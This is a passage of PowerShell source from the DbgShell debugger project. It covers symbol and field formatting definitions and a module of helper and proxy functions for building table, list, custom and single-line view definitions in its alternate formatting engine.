($_.SymbolType -ne 'EXPORT') ) { $_.SymbolFileName } FieldInfoTable MS.Dbg.DbgFieldInfo 10 right 30 left 35 left left Offset +0x{0:x3} Name $_.Type.Name "tbd" FieldInfoList MS.Dbg.DbgFieldInfo Name Offset +0x{0:x3} $_.Type.Name "tbd" DEBUG_SYMBOL_ENTRY_list Microsoft.Diagnostics.Runtime.Interop.DEBUG_SYMBOL_ENTRY [MS.Dbg.DbgProvider]::FormatAddress( $_.ModuleBase, $True, $true ) [MS.Dbg.DbgProvider]::FormatAddress( $_.Offset, $True, $true ) Id 0x{0:x} Size 0x{0:x} TypeId 0x{0:x} Token Arg64 0x{0:x} Arg32 0x{0:x} Tag DbgSymbolInfoTable MS.Dbg.DbgSymbol 5 right 30 left 35 left center 10 8 left Index Name $_.Type.Name if( $_.IsValueUnavailable ) { #'<value unavailable>' " - " } elseif( $_.IsValueInRegister ) { # TODO: COLORIZE "@" + $_.Register.Name } else { [MS.Dbg.DbgProvider]::FormatAddress( $_.DSE.Offset, $True, $true ) } if( $_.IsValueUnavailable ) { '' } else { [string]::Format( "0x{0:x}", $_.DSE.Size ) } DbgSymbolInfoList MS.Dbg.DbgSymbol Name if( $_.IsValueUnavailable ) { '<value unavailable>' } else { [System.Text.StringBuilder] $sb = New-Object "System.Text.StringBuilder" [void] $sb.Append( "{ " ) if( $_.IsValueInRegister ) { [void] $sb.Append( '@' ) [void] $sb.Append( $_.Register.Name ) } else { [void] $sb.Append( [MS.Dbg.DbgProvider]::FormatAddress( $_.DSE.Offset, $True, $true ) ) } #$sb.AppendFormat( "{0:x} bytes", $_.DSE.Size ) [void] $sb.Append( " : 0x" ) [void] $sb.Append( $_.DSE.Size.ToString( "x" ) ) [void] $sb.Append( " bytes, " ) [void] $sb.Append( $_.DSE.Tag.ToString() ) [void] $sb.Append( ", ... }" ) $sb.ToString() } Flags ExpansionLevel Module "{" + $_.Type.Name + ", size 0x" + $_.Type.Size.ToString( "x" ) + ", ... }" Children Index ================================================ FILE: DbgShell/x86/Debugger/Debugger.Formatting.psm1 ================================================ Set-StrictMode -Version Latest <# This module defines the functions necessary to create, register, and use the view definitions that are used by DbgShell's alternate formatting engine. #> [bool] $__outStringColorShimProxyDebugSpew = ![string]::IsNullOrEmpty( $env:OutStringColorShimProxyDebugSpew ) [bool] $__formatDefaultProxyDebugSpew = ![string]::IsNullOrEmpty( $env:FormatDefaultProxyDebugSpew ) [bool] $__formatStringProxyDebugSpew = ![string]::IsNullOrEmpty( $env:FormatStringProxyDebugSpew ) [bool] $__formatTableProxyDebugSpew = ![string]::IsNullOrEmpty( $env:FormatTableProxyDebugSpew ) [bool] $__formatListProxyDebugSpew = ![string]::IsNullOrEmpty( $env:FormatListProxyDebugSpew ) [bool] $__formatCustomProxyDebugSpew = ![string]::IsNullOrEmpty( $env:FormatCustomProxyDebugSpew ) <# .SYNOPSIS Allows you to preserve a null string when passing it to a .NET API. .DESCRIPTION In PowerShell, null strings get auto-converted to empty strings. Perhaps useful for some scripting scenarios, but in managed code, it is possible to distinguish between null and empty strings, and some APIs do. Therefore, PowerShell script that calls such an API needs a way to pass a true null versus just an empty string. This function is PART of that. To use this with a parameter of a function, say $s, first use the $PSBoundParameters dictionary to determine if the parameter is bound--if not, assign [NullString]::Value to it. That will cause "$s -eq $null" to evaluate to true. Next, when passing that parameter to a .NET API, don't pass it directly--instead, pass the output of (Protect-NullString $s). Note that giving a parameter a default value of [NullString]::Value will not have any effect (you still need to use $PSBoundParameters to detect if the parameter was passed or not). (as of PSv3; INTe0ccf1d7) The trick that makes Protect-NullString work is that its parameter is not marked with a "[string]" type qualifier (if it were, any null passed in would get converted to empty). #> function Protect-NullString( $s ) { if( $null -eq $s ) { [NullString]::Value } else { $s } } # end Protect-NullString <# .SYNOPSIS If an object implements IEnumerable, returns it. .DESCRIPTION This is similar to PSObjectHelper.GetEnumerable, which counts IDictionaries as IEnumerable even though LanguagePrimitives does not. #> function GetEnumerable( [object] $obj ) { $enumerable = [System.Management.Automation.LanguagePrimitives]::GetEnumerable( $obj ) if( $null -ne $enumerable ) { Write-Collection $enumerable return } # This is similar to PSObjectHelper.GetEnumerable. if( $obj -is [System.Collections.IDictionary] ) { Write-Collection ([System.Collections.IDictionary] $obj) return } return $null } <# .SYNOPSIS Enumerates an IEnumerable. .DESCRIPTION This is needed because PowerShell does not automatically enumerate some IEnumerable things--notably IDictionaries. #> function Enumerate( [object] $obj ) { $iter = [System.Management.Automation.LanguagePrimitives]::GetEnumerator( $obj ) # Apparently LanguagePrimitives.GetEnumerator does not work for some things (like # $PSVersionTable)... weird. So if that doesn't work, let's fall back to just calling # GetEnumerator() directly. if( !$iter ) { # This can fail for some things. For instance, PsIndexedDictionary has two # GetEnumerator() methods, and both are explicit interface implementations, and # PowerShell ends up complaining that "[it can't find a method 'GetEnumerator()' # with argument count 0]". So if both LanguagePrimitives.GetEnumerator and this # don't work, we'll have to go dig for the method ourselves. $iter = $obj.GetEnumerator() } try { while( $iter.MoveNext() ) { $iter.Current } } finally { if( $iter -is [System.IDisposable] ) { $iter.Dispose() } } } # end Enumerate <# .SYNOPSIS This function echoes an incoming stream of strings, but elides the first and last strings if they are empty. .DESCRIPTION Sometimes it would be nice to send some stuff to Out-String and then use the output as part of something larger. But Out-String (and all the built-in formatting commands) tend to put in some extra newlines at the beginning and end. That's fine when running the command stand-alone, but the extra whitespace can be too much when composing. The purpose of this command is to help make things look nicer. Note that this function removes /only/ up to two lines from the beginning and up to two lines from the end (if they are empty). If, for example, the input stream ends with THREE empty lines, this function will only remove the last two. TODO: It might be nice to use a circular buffer of dynamic size so that you can choose the maximum amount of trimming. For now I think two lines should be enough. To use it, pipe your object to "Out-String -Stream" and then to this command. Don't forget the "-Stream"! #> function TrimStream { [CmdletBinding( RemotingCapability = 'None' )] param( [Parameter( Mandatory = $true, ValueFromPipeline = $true, Position = 0 )] [AllowEmptyString()] #[string] $InputLine [object] $InputLine ) begin { [int] $curIdx = 0 [object] $lastSeen = $null [object] $lastLastSeen = $null [bool] $seenNonEmpty = $false } process { $objToDealWith = $null try { if( $null -eq $_ ) { $objToDealWith = $InputLine } else { $objToDealWith = $_ } if( $null -ne $lastLastSeen ) { #if( ($curIdx -le 3) -and (0 -eq $lastLastSeen.Length) ) if( $curIdx -le 3 ) { if( (0 -eq $lastLastSeen.Length) -and !$seenNonEmpty ) { # Do nothing! This trims the beginning. } else { $lastLastSeen $seenNonEmpty = $true } } else { $lastLastSeen } } } catch { $e = $_ [System.Console]::WriteLine( "OH NOES: $e" ) throw } finally { $curIdx++ $lastLastSeen = $lastSeen $lastSeen = $objToDealWith } } # end 'process' block end { try { [bool] $alreadySentLastLast = $false if( ($null -ne $lastLastSeen) -and (0 -ne $lastLastSeen.Length) ) { $alreadySentLastLast = $true $lastLastSeen } if( ($null -ne $lastSeen) -and (0 -ne $lastSeen.Length) ) { if( !$alreadySentLastLast ) { $lastLastSeen } $lastSeen } } finally { } } } # end TrimStream # # Table stuff # <# .SYNOPSIS Produces an object that defines a table column whose value is based on the specified property. .Link New-AltScriptColumn New-AltColumns New-AltTableFooter New-AltTableViewDefinition #> function New-AltPropertyColumn { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0 )] [ValidateNotNullOrEmpty()] [string] $PropertyName, [Parameter( Mandatory = $false, Position = 1 )] [MS.Dbg.ColorString] $FormatString = $null, [Parameter( Mandatory = $false, Position = 2 )] [string] $Label, [Parameter( Mandatory = $false, Position = 3 )] [MS.Dbg.Formatting.ColumnAlignment] $Alignment = 'Default', [Parameter( Mandatory = $false, Position = 4 )] [int] $Width, [Parameter( Mandatory = $false, Position = 5 )] [string] $Tag, [Parameter( Mandatory = $false )] [MS.Dbg.TrimLocation] $TrimLocation = [MS.Dbg.TrimLocation]::Right ) begin { } end { } process { # Workaround for INTe0ccf1d7: default parameter value # assignment of [NullString]::Value doesn't "take". if( !$PSBoundParameters.ContainsKey( 'Label' ) ) { $Label = [NullString]::Value } # Workaround for INTe0ccf1d7: default parameter value # assignment of [NullString]::Value doesn't "take". if( !$PSBoundParameters.ContainsKey( 'Tag' ) ) { $Tag = [NullString]::Value } New-Object "MS.Dbg.Formatting.PropertyColumn" -ArgumentList @( $PropertyName, $FormatString, (Protect-NullString $Label), $Alignment, $Width, (Protect-NullString $Tag), $TrimLocation ) } } # end New-AltPropertyColumn <# .SYNOPSIS Produces an object that defines a table column whose value is based on the specified script. .Link New-AltPropertyColumn New-AltTableFooter New-AltColumns New-AltTableViewDefinition #> function New-AltScriptColumn { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0 )] [ValidateNotNullOrEmpty()] [string] $Label, [Parameter( Mandatory = $true, Position = 1 )] [ValidateNotNull()] [ScriptBlock] $Script, [Parameter( Mandatory = $false )] [MS.Dbg.Formatting.ColumnAlignment] $Alignment = 'Default', [Parameter( Mandatory = $false )] [int] $Width, [Parameter( Mandatory = $false )] [string] $Tag, [Parameter( Mandatory = $false )] [MS.Dbg.TrimLocation] $TrimLocation = [MS.Dbg.TrimLocation]::Right, [Parameter( Mandatory = $false )] [switch] $CaptureContext ) begin { } end { } process { # Workaround for INTe0ccf1d7: default parameter value # assignment of [NullString]::Value doesn't "take". if( !$PSBoundParameters.ContainsKey( 'Tag' ) ) { $Tag = [NullString]::Value } # if( (Test-Path 'Variable:\enabled') ) { # [Console]::WriteLine( "Debugger.Formatting.psm1, New-AltScriptColumn: The 'enabled' variable exists." ) # } else { # [Console]::WriteLine( "Debugger.Formatting.psm1, New-AltScriptColumn: The 'enabled' variable does NOT exist." ) # } New-Object "MS.Dbg.Formatting.ScriptColumn" -ArgumentList @( $Label, $Script, $Alignment, $Width, (Protect-NullString $Tag), $TrimLocation, $CaptureContext ) } } # end New-AltScriptColumn <# .SYNOPSIS Produces an object that defines a table footer. .Link New-AltPropertyColumn New-AltScriptColumn New-AltColumns New-AltTableViewDefinition #> function New-AltTableFooter { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0 )] [MS.Dbg.Formatting.ColumnAlignment] $Alignment, [Parameter( Mandatory = $true, Position = 1 )] [ValidateNotNull()] [ScriptBlock] $Script, [Parameter( Mandatory = $false )] [switch] $CaptureContext ) begin { } end { } process { # if( (Test-Path 'Variable:\enabled') ) { # [Console]::WriteLine( "Debugger.Formatting.psm1, New-AltTableFooter: The 'enabled' variable exists." ) # } else { # [Console]::WriteLine( "Debugger.Formatting.psm1, New-AltTableFooter: The 'enabled' variable does NOT exist." ) # } New-Object 'MS.Dbg.Formatting.Footer' -ArgumentList( $Alignment, $Script, $CaptureContext ) } } # end New-AltTableFooter <# .SYNOPSIS Defines a script block that produces column definitions, and optionally a single footer definition. .Link New-AltPropertyColumn New-AltScriptColumn New-AltTableFooter New-AltTableViewDefinition #> function New-AltColumns { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0 )] [ValidateNotNull()] [ScriptBlock] $ColumnProducer ) begin { } end { } process { # TODO: This seems... really simple. Should I do anything extra, like # filter output to just column objects, or anything else? & $ColumnProducer } } # end New-AltColumns <# .SYNOPSIS Produces a table view definition object with column (and footer) definitions supplied by the specified script block. .Link New-AltPropertyColumn New-AltScriptColumn New-AltTableFooter New-AltColumns New-AltListViewDefinition New-AltCustomViewDefinition New-AltSingleLineViewDefinition #> function New-AltTableViewDefinition { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0 )] [ValidateNotNull()] [ScriptBlock] $Columns, [Parameter( Mandatory = $false, Position = 1 )] [switch] $ShowIndex, [Parameter( Mandatory = $false, Position = 2 )] [ValidateNotNull()] [ScriptBlock] $ProduceGroupByHeader, [Parameter( Mandatory = $false, Position = 3 )] [ValidateNotNull()] [object] $GroupBy, [Parameter( Mandatory = $false )] [switch] $CaptureContext, [Parameter( Mandatory = $false )] [switch] $PreserveHeaderContext ) begin { } end { } process { $private:columnList = New-Object System.Collections.Generic.List[MS.Dbg.Formatting.Column] [MS.Dbg.Formatting.Footer] $private:footer = $null & $Columns | % { if( $_ -is [MS.Dbg.Formatting.Column] ) { $columnList.Add( $_ ) } elseif( $_ -is [MS.Dbg.Formatting.Footer] ) { if( $null -ne $footer ) { $private:SourceLineNumber = (Get-PSCallStack)[2].ScriptLineNumber Write-Error -Message ([string]::Format( '{0}:{1} While registering a table view definition for type ''{2}'': The -Columns script block yielded more than one Footer.', $SourceScript, $SourceLineNumber, $TypeName )) -Category InvalidOperation -ErrorId 'ExtraFooters' -TargetObject $_ } else { $footer = $_ } } else { $private:SourceLineNumber = (Get-PSCallStack)[2].ScriptLineNumber Write-Warning ([string]::Format( '{0}:{1} While registering a table view definition for type ''{2}'': The -Columns script block yielded an item that was not a column definition: {3}', $SourceScript, $SourceLineNumber, $TypeName, $_ )) } } if( $CaptureContext -and (!$ProduceGroupByHeader -or !$footer) ) { Write-Error "New-AltTableViewDefinition: it does not make sense to use -CaptureContext if there is no -ProduceGroupByHeader or footer to use that context." $CaptureContext = $false } if( $PreserveHeaderContext -and !$ProduceGroupByHeader ) { Write-Error "New-AltTableViewDefinition: it does not make sense to use -PreserveHeaderContext if there is no -ProduceGroupByHeader from which to preserve context." $PreserveHeaderContext = $false } New-Object "MS.Dbg.Formatting.AltTableViewDefinition" -ArgumentList @( $ShowIndex, $columnList, $footer, $ProduceGroupByHeader, $GroupBy, $CaptureContext, $PreserveHeaderContext ) } } # end New-AltTableViewDefinition # # Custom view stuff # <# .SYNOPSIS Produces a custom view definition object. .Link New-AltTableViewDefinition New-AltListViewDefinition New-AltSingleLineViewDefinition #> function New-AltCustomViewDefinition { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0 )] [ValidateNotNull()] [ScriptBlock] $Script, [Parameter( Mandatory = $false, Position = 1 )] [ValidateNotNull()] [ScriptBlock] $ProduceGroupByHeader, [Parameter( Mandatory = $false, Position = 2 )] [ValidateNotNull()] [object] $GroupBy, [Parameter( Mandatory = $false, Position = 3 )] [ValidateNotNull()] [ScriptBlock] $End, [Parameter( Mandatory = $false )] [switch] $CaptureContext, [Parameter( Mandatory = $false )] [switch] $PreserveHeaderContext, [Parameter( Mandatory = $false )] [switch] $PreserveScriptContext ) begin { } end { } process { # Note: unlike the other view definitions (table, list), it /does/ make sense to # have -CaptureContext here (to be used by $Script). if( $PreserveHeaderContext -and !$ProduceGroupByHeader ) { Write-Error "New-AltCustomViewDefinition: it does not make sense to use -PreserveHeaderContext if there is no -ProduceGroupByHeader from which to preserve context." $PreserveHeaderContext = $false } New-Object "MS.Dbg.Formatting.AltCustomViewDefinition" -ArgumentList @( $Script, $ProduceGroupByHeader, $GroupBy, $End, $CaptureContext, $PreserveHeaderContext, $PreserveScriptContext ) } } # end New-AltCustomViewDefinition # # List stuff # <# .SYNOPSIS Produces an object that defines a list view item whose value is based on the specified property. .Link New-AltScriptListItem New-AltListViewDefinition #> function New-AltPropertyListItem { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0 )] [ValidateNotNullOrEmpty()] [string] $PropertyName, [Parameter( Mandatory = $false, Position = 1 )] [MS.Dbg.ColorString] $FormatString, [Parameter( Mandatory = $false, Position = 2 )] [string] $Label ) begin { } end { } process { # Workaround for INTe0ccf1d7: default parameter value # assignment of [NullString]::Value doesn't "take". if( !$PSBoundParameters.ContainsKey( 'Label' ) ) { $Label = [NullString]::Value } New-Object "MS.Dbg.Formatting.PropertyListItem" -ArgumentList @( $PropertyName, $FormatString, (Protect-NullString $Label) ) } } # end New-AltPropertyListItem <# .SYNOPSIS Produces an object that defines a list view item whose value is based on the specified script. .Link New-AltPropertyListItem New-AltListViewDefinition #> function New-AltScriptListItem { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0 )] [ValidateNotNullOrEmpty()] [string] $Label, [Parameter( Mandatory = $true, Position = 1 )] [ValidateNotNull()] [ScriptBlock] $Script, [Parameter( Mandatory = $false )] [switch] $CaptureContext ) begin { } end { } process { New-Object "MS.Dbg.Formatting.ScriptListItem" -ArgumentList @( $Label, $Script, $CaptureContext ) } } # end New-AltScriptListItem <# .SYNOPSIS Produces a list view definition object with list item definitions supplied by the specified script block. .Link New-AltPropertyListItem New-AltScriptListItem New-AltTableViewDefinition New-AltCustomViewDefinition #> function New-AltListViewDefinition { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0 )] [ValidateNotNull()] [ScriptBlock] $ListItems, [Parameter( Mandatory = $false, Position = 1 )] [ValidateNotNull()] [ScriptBlock] $ProduceGroupByHeader, [Parameter( Mandatory = $false, Position = 2 )] [ValidateNotNull()] [object] $GroupBy, [Parameter( Mandatory = $false )] [switch] $CaptureContext, [Parameter( Mandatory = $false )] [switch] $PreserveHeaderContext ) begin { } end { } process { $private:listItemList = New-Object System.Collections.Generic.List[MS.Dbg.Formatting.ListItem] & $ListItems | % { if( $_ -is [MS.Dbg.Formatting.ListItem] ) { $listItemList.Add( $_ ) } else { $SourceLineNumber = (Get-PSCallStack)[2].ScriptLineNumber # TODO: Get a PS dev to investigate: When I remove the () from # around the [string]::Format expression, I get an error about # no 'positional parameter cannot be found that accepts # argument 'System.Object[]'. But the error complains about the # ForEach-Object cmdlet being called ~15 lines above (the "& # $ListItems | % {" line). I have been unable to construct a # short repro of this problem. Write-Warning ([string]::Format( '{0}:{1} While registering a list view definition for type ''{2}'': The -ListItems script block yielded an item that was not a list item: {3}', $SourceScript, $SourceLineNumber, $TypeName, $_ )) } } if( $CaptureContext -and !$ProduceGroupByHeader ) { Write-Error "New-AltListViewDefinition: it does not make sense to use -CaptureContext if there is no -ProduceGroupByHeader to use that context." $CaptureContext = $false } if( $PreserveHeaderContext -and !$ProduceGroupByHeader ) { Write-Error "New-AltListViewDefinition: it does not make sense to use -PreserveHeaderContext if there is no -ProduceGroupByHeader from which to preserve context." $PreserveHeaderContext = $false } New-Object "MS.Dbg.Formatting.AltListViewDefinition" -ArgumentList @( $listItemList, $ProduceGroupByHeader, $GroupBy, $CaptureContext, $PreserveHeaderContext ) } } # end New-AltListViewDefinition # # Single-line view stuff # <# .SYNOPSIS Produces a single-line view definition object. .DESCRIPTION A single-line view definition script must produce a single line of output--additional lines will be truncated. Single-line views are generally used as part of other views, and can only be used by explicitly calling Format-AltSingleLine--Out-Default will not use a single-line view definition. .Link New-AltTableViewDefinition New-AltListViewDefinition New-AltCustomViewDefinition #> function New-AltSingleLineViewDefinition { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0 )] [ValidateNotNull()] [ScriptBlock] $Script, [Parameter( Mandatory = $false )] [switch] $CaptureContext ) begin { } end { } process { New-Object "MS.Dbg.Formatting.AltSingleLineViewDefinition" -ArgumentList @( $Script, $CaptureContext ) } } # end New-AltSingleLineViewDefinition # # General stuff # <# .SYNOPSIS Produces an object that defines a set of format view definitions for the specified type(s). .Link New-AltTableViewDefinition New-AltListViewDefinition New-AltCustomViewDefinition New-AltSingleLineViewDefinition #> function New-AltTypeFormatEntry { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0 )] [ValidateNotNullOrEmpty()] [string[]] $TypeName, [Parameter( Mandatory = $true, Position = 1 )] [ValidateNotNull()] [ScriptBlock] $ViewProducer, [Parameter( Mandatory = $false, Position = 2 )] [ValidateNotNull()] [string] $SourceScript ) begin { } end { } process { if( !$PSBoundParameters.ContainsKey( 'SourceScript' ) ) { $SourceScript = (Get-PSCallStack)[1].ScriptName } $private:viewList = New-Object System.Collections.Generic.List[MS.Dbg.Formatting.IFormatInfo] & $ViewProducer | % { $viewList.Add( $_ ) } foreach( $private:tn in $TypeName ) { New-Object "MS.Dbg.Formatting.AltTypeFormatEntry" -ArgumentList @( $tn, $viewList, $SourceScript ) } } } <# .SYNOPSIS Registers one or more AltTypeFormatEntry objects with the alternate formatting engine provider. .Link New-AltTypeFormatEntry #> function Register-AltTypeFormatEntries { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0 )] [ValidateNotNull()] [ScriptBlock] $EntriesProducer ) begin { } end { } process { $private:disposable = $null try { # If any entries need to capture context (variables and functions), we'll only # let them capture stuff defined in the $EntriesProducer script block and # below. $disposable = [MS.Dbg.DbgProvider]::SetContextStartMarker() & $EntriesProducer | Register-AltTypeFormatEntry } finally { if( $disposable ) { $disposable.Dispose() } } } } <# .SYNOPSIS Produces a new ColorString object (which uses ISO/IEC 6429 color markup). #> function New-ColorString { [CmdletBinding()] [OutputType( ([MS.Dbg.ColorString]) )] param( [Parameter( Mandatory = $false, Position = 0 )] [ConsoleColor] $Foreground, [Parameter( Mandatory = $false, Position = 1 )] [ConsoleColor] $Background, [Parameter( Mandatory = $false, Position = 2 )] [string] $Content ) begin { } end { } process { $cs = New-Object "MS.Dbg.ColorString" [bool] $pushed = $false if( $PSBoundParameters.ContainsKey( 'Foreground' ) ) { if( $PSBoundParameters.ContainsKey( 'Background' ) ) { [void] $cs.AppendPushFgBg( $Foreground, $Background ) } else { [void] $cs.AppendPushFg( $Foreground ) } $pushed = $true } else { if( $PSBoundParameters.ContainsKey( 'Background' ) ) { [void] $cs.AppendPushBg( $Background ) $pushed = $true } } if( $PSBoundParameters.ContainsKey( 'Content' ) ) { [void] $cs.Append( $Content ) } if( $pushed ) { [void] $cs.AppendPop() } return $cs } } # end New-ColorString Set-Alias fal Format-AltList -Scope global Set-Alias fat Format-AltTable -Scope global Set-Alias fac Format-AltCustom -Scope global Set-Alias fas Format-AltSingleLine -Scope global # # Proxy function stuff # function Update-FormatData { [CmdletBinding( DefaultParameterSetName = 'FileSet', SupportsShouldProcess = $true, ConfirmImpact = 'Medium', HelpUri = 'http://go.microsoft.com/fwlink/?LinkID=113420' )] param( [Parameter( ParameterSetName = 'FileSet', Position = 0, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true )] [Alias( 'PSPath', 'Path' )] [ValidateNotNull()] [string[]] ${AppendPath}, [Parameter( ParameterSetName = 'FileSet' )] [ValidateNotNull()] [string[]] ${PrependPath} ) # This proxy function actually proxies two commands: the built-in # Update-FormatData, and our alternate formatting engine's # Update-AltFormatData. You can pass both .ps1xml (traditional formatting info # file) and .psfmt (alternate formatting info file) parameters, and this splits # out the params as appropriate. # # Q: This is pretty insane! # A: I know, right? # # Note: I haven't really tested the PrependPath stuff. # # Could I have done something simpler? Sure. But you don't understand proxy # functions and pipelines until you can write this function. (Of course, I will # have forgotten it all in a few days... but then I can read this function!) begin { #TODO: try globbing/wildards try { #[console]::WriteLine( "begin" ) $private:traditionalAppendPaths = New-Object 'System.Collections.Generic.List[System.String]' $private:altAppendPaths = New-Object 'System.Collections.Generic.List[System.String]' $private:traditionalPrependPaths = New-Object 'System.Collections.Generic.List[System.String]' $private:altPrependPaths = New-Object 'System.Collections.Generic.List[System.String]' function private:SeparateParams( $psb, $traditionalAppendPaths, $altAppendPaths, $traditionalPrependPaths, $altPrependPaths ) { $traditionalAppendPaths.Clear() $altAppendPaths.Clear() $traditionalPrependPaths.Clear() $altPrependPaths.Clear() if( $psb.ContainsKey( 'AppendPath' ) ) { foreach( $path in $AppendPath ) { if( ![string]::IsNullOrEmpty( $path ) ) { if( $path.EndsWith( '.psfmt', [StringComparison]::OrdinalIgnoreCase ) ) { #[console]::WriteLine( 'Adding alt append path: {0}', $path ) $altAppendPaths.Add( $path ) } else { #[console]::WriteLine( 'Adding traditional append path: {0}', $path ) $traditionalAppendPaths.Add( $path ) } } } # end foreach( $AppendPath ) } # end if( AppendPath ) if( $psb.ContainsKey( 'PrependPath' ) ) { foreach( $path in $PrependPath ) { if( ![string]::IsNullOrEmpty( $path ) ) { if( $path.EndsWith( '.psfmt', [StringComparison]::OrdinalIgnoreCase ) ) { #[console]::WriteLine( 'Adding alt prepend path: {0}', $path ) $altPrependPaths.Add( $path ) } else { #[console]::WriteLine( 'Adding traditional prepend path: {0}', $path ) $traditionalPrependPaths.Add( $path ) } } } # end foreach( $PrependPath ) } # end if( PrependPath ) } # end function SeparateParams() function private:PrepParams( $psb, $appendPaths, $prependPaths ) { if( $psb.ContainsKey( 'AppendPath' ) ) { $a = $appendPaths.ToArray() Set-Variable -Name 'AppendPath' -Scope 1 -Value $a $psb[ 'AppendPath' ] = $a #[console]::WriteLine( 'Set AppendPath to ({0}): {1}', $a.Length, [string]::Join( ', ', $a ) ) } if( $psb.ContainsKey( 'PrependPath' ) ) { $a = $prependPaths.ToArray() Set-Variable -Name 'PrependPath' -Scope 1 -Value $a $psb[ 'PrependPath' ] = $a #[console]::WriteLine( 'Set PrependPath to: {0}', [string]::Join( ', ', $a ) ) } } # end function PrepParams() $private:outBuffer = $null if( $PSBoundParameters.TryGetValue( 'OutBuffer', [ref] $outBuffer ) ) { $PSBoundParameters[ 'OutBuffer' ] = 1 } SeparateParams $PSBoundParameters $traditionalAppendPaths $altAppendPaths $traditionalPrependPaths $altPrependPaths PrepParams $PSBoundParameters $traditionalAppendPaths $traditionalPrependPaths $private:wrappedCmd = $ExecutionContext.InvokeCommand.GetCommand( 'Update-FormatData', [System.Management.Automation.CommandTypes]::Cmdlet ) $private:scriptCmd = { & $wrappedCmd @PSBoundParameters } $private:builtinCmdSteppablePipeline = $scriptCmd.GetSteppablePipeline( $myInvocation.CommandOrigin ) $builtinCmdSteppablePipeline.Begin( $PSCmdlet ) PrepParams $PSBoundParameters $altAppendPaths $altPrependPaths $wrappedCmd = $ExecutionContext.InvokeCommand.GetCommand( 'Update-AltFormatData', [System.Management.Automation.CommandTypes]::Cmdlet ) $scriptCmd = { & $wrappedCmd @PSBoundParameters } $private:altCmdSteppablePipeline = $scriptCmd.GetSteppablePipeline( $myInvocation.CommandOrigin ) $altCmdSteppablePipeline.Begin( $PSCmdlet ) } catch { [console]::WriteLine( "Update-FormatData proxy: PROBLEM in begin: {0}", $_ ) throw } finally { } } # end 'begin' block process { try { if( $null -eq $_ ) { # This is what happens when you just pass parameters in the normal way. #[console]::WriteLine( "process, `$_ is null" ) SeparateParams $PSBoundParameters $traditionalAppendPaths $altAppendPaths $traditionalPrependPaths $altPrependPaths PrepParams $PSBoundParameters $traditionalAppendPaths $traditionalPrependPaths $builtinCmdSteppablePipeline.Process( $_ ) PrepParams $PSBoundParameters $altAppendPaths $altPrependPaths $altCmdSteppablePipeline.Process( $_ ) } else { # This is what happens when you pipe input in. #[console]::WriteLine( "process, type {0}: {1}", $_.GetType().FullName, $_ ) SeparateParams $PSBoundParameters $traditionalAppendPaths $altAppendPaths $traditionalPrependPaths $altPrependPaths # We only want to step the relevant pipeline if( $_.EndsWith( '.psfmt', [StringComparison]::OrdinalIgnoreCase ) ) { PrepParams $PSBoundParameters $altAppendPaths $altPrependPaths $altCmdSteppablePipeline.Process( $_ ) } else { PrepParams $PSBoundParameters $traditionalAppendPaths $traditionalPrependPaths $builtinCmdSteppablePipeline.Process( $_ ) } } } catch { [console]::WriteLine( "Update-FormatData proxy: PROBLEM in process: {0}", $_ ) throw } finally { } } # end 'process' block end { try { SeparateParams $PSBoundParameters $traditionalAppendPaths $altAppendPaths $traditionalPrependPaths $altPrependPaths PrepParams $PSBoundParameters $traditionalAppendPaths $traditionalPrependPaths $builtinCmdSteppablePipeline.End() PrepParams $PSBoundParameters $altAppendPaths $altPrependPaths $altCmdSteppablePipeline.End() } catch { [console]::WriteLine( "Update-FormatData proxy: PROBLEM in end: {0}", $_ ) throw } finally { } } # end 'end' block <# .ForwardHelpTargetName Update-FormatData .ForwardHelpCategory Cmdlet #> } <# We already have an Out-String proxy function. But we still have a problem with ColorStrings that end up getting passed to the built-in Out-String. (For instance, if you have an AltTableViewDefinition for a particular object, then in our Out-String proxy, we will format it, and send that output, which will be ColorString objects, to the built-in Out-String.) So we want to make sure never to pass ColorString objects to the built-in Out-String, because it will probably just mess them up (by truncating them early, etc.). So we use this mini-proxy to do that. TODO: This assumes that our host will know what to do with the raw ColorStrings we give it... What if we are in a different host? #> function script:OutStringColorShim { [CmdletBinding()] param( [Parameter()] [switch] ${Stream}, [Parameter()] [ValidateRange( 2, 2147483647 )] [int] ${Width}, # TODO: Implement Stream and Width for ColorStrings! # # TODO: We should probably also have a -StripColor feature. [Parameter( ValueFromPipeline = $true )] [PSObject] ${InputObject} ) begin { [bool] $private:enableDebugSpew = $false if( $__outStringColorShimProxyDebugSpew ) { $enableDebugSpew = $true } #[Console]::WriteLine( "OutStringColorShim proxy begin" ) try { $private:currentSteppablePipeline = $null # TODO: What if someone else is also trying to proxy Out-String? $private:outStringWrappedCmd = $ExecutionContext.InvokeCommand.GetCommand( 'Out-String', [System.Management.Automation.CommandTypes]::Cmdlet ) } catch { $e = $_ [System.Console]::WriteLine( "OutStringColorShim begin: OH NOES: $e" ) throw } finally { } } # end begin block process { if( $enableDebugSpew ) { [Console]::WriteLine( " ======== OutStringColorShim thing: process ========" ) [Console]::WriteLine( ' $PSBoundParameters:' ) foreach( $key in $PSBoundParameters.Keys ) { $val = $PSBoundParameters[ $key ] if( $null -eq $val ) { $val = "" } [Console]::WriteLine( " [$($key)]: $($val)" ) } } try { $private:objToDealWith = $null [bool] $private:bindUsingInputObject = $false if( $null -eq $_ ) { if( $enableDebugSpew ) { [Console]::WriteLine( " OsProxy: Dollar-underbar is null." ) } $objToDealWith = $InputObject $bindUsingInputObject = $true } else { if( $enableDebugSpew ) { [Console]::WriteLine( " OsProxy: Dollar-underbar object of type: {0}", $_.GetType().FullName ) } $objToDealWith = $_ # Things get messed up in the child steppable pipeline if both $_ and # $InputObject are set. (I don't know why; they're both set here...) [void] $PSBoundParameters.Remove( 'InputObject' ) } if( $null -eq $objToDealWith ) # TODO: Do I need to handle [System.Management.Automation.Internal.AutomationNull]::Value? { return } if( $objToDealWith -is [MS.Dbg.ColorString] ) { #[Console]::WriteLine( "OutStringColorShim: It's just a ColorString..." 